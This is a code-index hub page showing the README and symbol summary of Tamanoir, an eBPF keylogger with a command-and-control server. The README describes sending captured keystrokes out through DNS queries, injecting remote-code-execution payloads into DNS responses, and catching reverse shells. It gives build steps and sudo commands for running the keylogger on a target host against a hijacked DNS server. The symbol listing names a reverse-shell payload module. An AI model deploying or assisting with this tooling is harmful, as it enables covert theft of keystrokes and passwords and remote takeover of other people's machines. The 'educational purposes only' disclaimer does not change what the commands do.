MCPcopy Index your code
hub / github.com/adgaultier/tamanoir

github.com/adgaultier/tamanoir @v0.2

Chat with this repo
repository ↗ · DeepWiki ↗ · release v0.2 ↗ · + Follow
213 symbols 377 edges 41 files 0 documented · 0%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

Tamanoir

An eBPF🐝 Keylogger with C2-based RCE payload delivery

A large anteater of Central and South America, Myrmecophaga tridactyla

⚡ Powered by Aya, Tokio, Tonic and Ratatui

💡Overview

Tamanoir is structured around 3 components:

1. Tamanoir

An eBPF program running on a target host, it will act as a keylogger and extract keystrokes via DNS queries.

In DNS response, attacker can choose to send chunks of RCE payload that will be executed on targeted host.

2. Tamanoir-C2

The Command & Control server. It acts as a DNS proxy and can inject rce payloads in DNS response.

It also can handle reverse shell connections.

3. Tamanoir-tui

The TUI client communicating with C2 server. Built on top of ratatui

Tui client demo

Glossary

  • what is eBPF
  • C2: Command and Control
  • RCE: Remote Code Execution

Documentation

Jump to: - Focus on Tamanoir (eBPF) - Focus on Tamanoir-C2 - Focus on Tamanoir-Tui

Architecture

🚀 Setup

You need a Linux based OS.

⚒️ Build from source

To build from source, make sure you have:

  • bpf-linker installed.
  • Rust installed with nightly toolchain.
  • protobuf-compiler

1. Build ebpf program

cd tamanoir-ebpf && cargo build --release

2. Build user space program

cargo build -p tamanoir --release

3. Build C2 Server

cargo build -p tamanoir-c2 --release

4. Build Ratatui Client

cargo build -p tamanoir-tui --release

These commands will produce tamanoir, tamanoir-c2 and tamanoir-tui executables in target/release that you can add to your$PATH

📥 Binary release

You can download the pre-built binaries from the release page

🪄 Usage

Tamanoir

🖥️ on target host:

RUST_LOG=info sudo -E tamanoir \
              --proxy-ip <C2 server IP> \
              --hijack-ip <locally configured DNS server IP> \
              --iface <network interface name>

for example:

RUST_LOG=info sudo -E tamanoir \
              --proxy-ip 192.168.1.15 \
              --hijack-ip 8.8.8.8 \
              --iface wlan0

C2 Server

🖥️ on your C2 server host:

sudo tamanoir-c2 start

[!NOTE] Make sure port 53 is available

Tui Client

🖥️ wherever you want to use the client:

tamanoir-tui -i  <C2 server IP> 

[!NOTE] Make sure C2 server is reachable on port 50051

⚠️ Disclaimer

Tamanoir is developed for educational purposes only

✍️ Authors

Adrien Gaultier Badr Badri

⚖️ License

GPLv3

Extension points exported contracts — how you extend this code

StreamReceiver (Interface)
(no doc) [2 implementers]
tamanoir-tui/src/grpc.rs

Core symbols most depended-on inside this repo

get
called by 20
tamanoir-tui/src/section/keylogger.rs
notify_update
called by 9
tamanoir-c2/src/lib.rs
is_editing
called by 9
tamanoir-tui/src/section/session.rs
exec
called by 8
tamanoir-c2/src/rce/mod.rs
send
called by 6
tamanoir-tui/src/notification.rs
next
called by 6
tamanoir-tui/src/event.rs
catch_grpc_err
called by 5
tamanoir-tui/src/grpc.rs
set_shell_availibility
called by 4
tamanoir-c2/src/lib.rs

Shape

Method 98
Function 64
Class 33
Enum 17
Interface 1

Languages

Rust100%

Modules by API surface

tamanoir-tui/src/section/session.rs21 symbols
tamanoir-tui/src/grpc.rs13 symbols
tamanoir-c2/src/lib.rs12 symbols
tamanoir-tui/src/section/shell.rs11 symbols
tamanoir-tui/src/section/mod.rs11 symbols
tamanoir-c2/src/grpc.rs11 symbols
assets/payloads/reverse-shell/src/main.rs10 symbols
tamanoir-tui/src/notification.rs9 symbols
tamanoir-ebpf/src/common.rs9 symbols
tamanoir-c2/src/tcp_shell.rs9 symbols
tamanoir-c2/src/dns_proxy.rs8 symbols
tamanoir-tui/src/section/keylogger.rs7 symbols

For agents

$ claude mcp add tamanoir \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact